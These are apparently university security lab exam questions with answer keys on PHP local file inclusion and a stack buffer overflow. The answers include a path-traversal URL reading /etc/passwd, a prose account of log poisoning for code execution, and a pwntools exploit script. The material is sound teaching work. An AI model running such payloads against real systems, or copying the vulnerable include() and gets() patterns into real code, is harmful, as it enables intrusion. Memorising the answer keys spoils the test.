

Lab questions 202501

Question 4 - 1x

Objective

To assess students' understanding of Local File Inclusion (LFI) vulnerabilities, their potential impacts, and strategies for exploitation and mitigation.

– FROM HERE

Scenario

You are hired as a security consultant for a medium-sized e-commerce website that allows users to change the site's language through a URL parameter. The developers implemented the following functionality in the index.php file:

```
<?php
$lang = $_GET['lang'] ?? 'english';
include("lang/" . $lang);
?>
```

The application is live, and the developers believe it is secure. Your task is to evaluate the security of this implementation and provide a detailed report on any vulnerabilities, potential exploits, and mitigations.

Questions

Vulnerability Analysis:

- Explain why the code snippet above is vulnerable to a Local File Inclusion (LFI) attack.
- Identify how this vulnerability could be exploited by an attacker.

Exploit Development:

- a. Using the given URL structure, craft a malicious payload to read the `/etc/passwd` file from the server.
- b. Discuss how an attacker might escalate this vulnerability to achieve Remote Code Execution (RCE), considering log poisoning techniques.

Mitigation:

Propose three specific measures to secure the above code against LFI attacks.

– TO HERE
-----**Answers****Vulnerability Analysis:**

- a. The `include` function directly incorporates user-controlled input (`$_GET['lang']`) without proper validation or sanitization. This allows attackers to manipulate the parameter to load unintended files, leading to an LFI vulnerability.
- b. Exploitation involves using directory traversal sequences (`../..`) to escape the intended directory and access sensitive files on the server.

Exploit Development:

- a. Malicious payload example:

```
http://example.com/index.php?lang=../../../../etc/passwd
```

- b. RCE:

The attacker injects malicious PHP code into a server log file (e.g., by modifying the User-Agent header).

They then use the LFI vulnerability to include the log file, executing the injected code.

Mitigation:

- Validate and sanitize user inputs to ensure only allowed values (e.g., whitelisting filenames).
- Use a safer function like `require_once` with hardcoded file paths instead of concatenating user input.
- Restrict access to sensitive directories and files using server configuration (e.g., .htaccess rules or file permissions).

Question 5 - 1.5x

Objective

The question aims to test students' ability to understand and practically exploit a buffer overflow vulnerability, particularly focusing on overwriting return addresses, using De Bruijn sequences, and employing other techniques like NOP sleds. This exercise evaluates their knowledge of exploiting stack-based vulnerabilities under real-world constraints.

This question combines theory and practice, requiring students to demonstrate proficiency in debugging, exploiting vulnerabilities, and understanding defense mechanisms.

– FROM HERE

Scenario

You are provided with a C program compiled with the following settings:

- Stack canaries disabled (`-fno-stack-protector`)
- Non-PIE executable (`-no-pie`)
- Executable stack (`-z execstack`)

- Address Space Layout Randomization (ASLR) disabled.

The program asks the user for input through an unsafe `gets()` function:

```
#include <stdio.h>

void get_user() {
    char str[16];
    printf("What is your name? ");
    gets(str);
    printf("Hello %s!\n", str);
}

void secret_function() {
    printf("You accessed the secret function!
    Congratulations!\n");
}

void main() {
    get_user();
}
```

The `secret_function()` is not directly accessible through normal program execution. Your goal is to exploit the program by overwriting the return address in the `get_user()` stack frame to call `secret_function()`.

Questions

Q1. Step-by-step Exploitation Process:

(a) Explain how you would construct a payload to overwrite the return address of `get_user()` and redirect execution to `secret_function()`. Provide details on calculating offsets and placing the address correctly.

(b) How would you identify the correct memory address of `secret_function()`?

Q2. De Bruijn Sequence:

What is the role of a De Bruijn sequence in identifying the precise location of the return address? Demonstrate how to generate and use this sequence in your exploit.

Q3. Defense Mechanisms:

If the program had stack canaries enabled, how would this impact your exploit? Describe any strategies to bypass stack canaries.

– TO HERE

Answer

Step-by-step Exploitation Process:

(a) Calculate the total buffer size needed to overwrite the return address:

1. Buffer: 16 bytes
2. Saved RBP: 8 bytes
3. Total offset to return address: 24 bytes.
4. Place the address of `secret_function()` after the padding.

(b) Use GDB to find `secret_function()`'s address: `info functions` or disassemble the binary with `objdump -d`.

De Bruijn Sequence:

A De Bruijn sequence is a cyclic sequence of characters (or symbols) such that every possible substring of a certain length appears exactly once as a contiguous subsequence.

A De Bruijn sequence helps locate the return address offset using a non-repeating pattern. It can be generated manually or, for instance, with Pwntools:

```
from pwn import cyclic
print(cyclic(32)) # Generate 32 bytes of De Bruijn sequence
```

Cause a crash and examine `$rip` to identify the exact offset (just as an example, it can also be done manually looking at the stack content):

```
gdb ./vulnerable_program
run $(python -c 'from pwn import cyclic; print(cyclic(32))')
info registers
cyclic_find($rip)
```

Defense Mechanisms:

Stack canaries verify the integrity of the stack before function returns. If tampered with, the program aborts. Bypassing may involve leaking the canary value through a format string vulnerability or another information disclosure flaw (not present/possible in this exploitable code).

[not requested] Practical Exploitation:

```
from pwn import *

binary = './vulnerable_program'
elf = context.binary = ELF(binary)

# Find offset using De Bruijn sequence
offset = 24 # Calculated from GDB

# Address of secret_function
secret_function = elf.symbols['secret_function']
```

```
# Exploit payload
payload = b'A' * offset
payload += p64(secret_function)

# Start process and inject payload
p = process(binary)
p.sendline(payload)
p.interactive()
```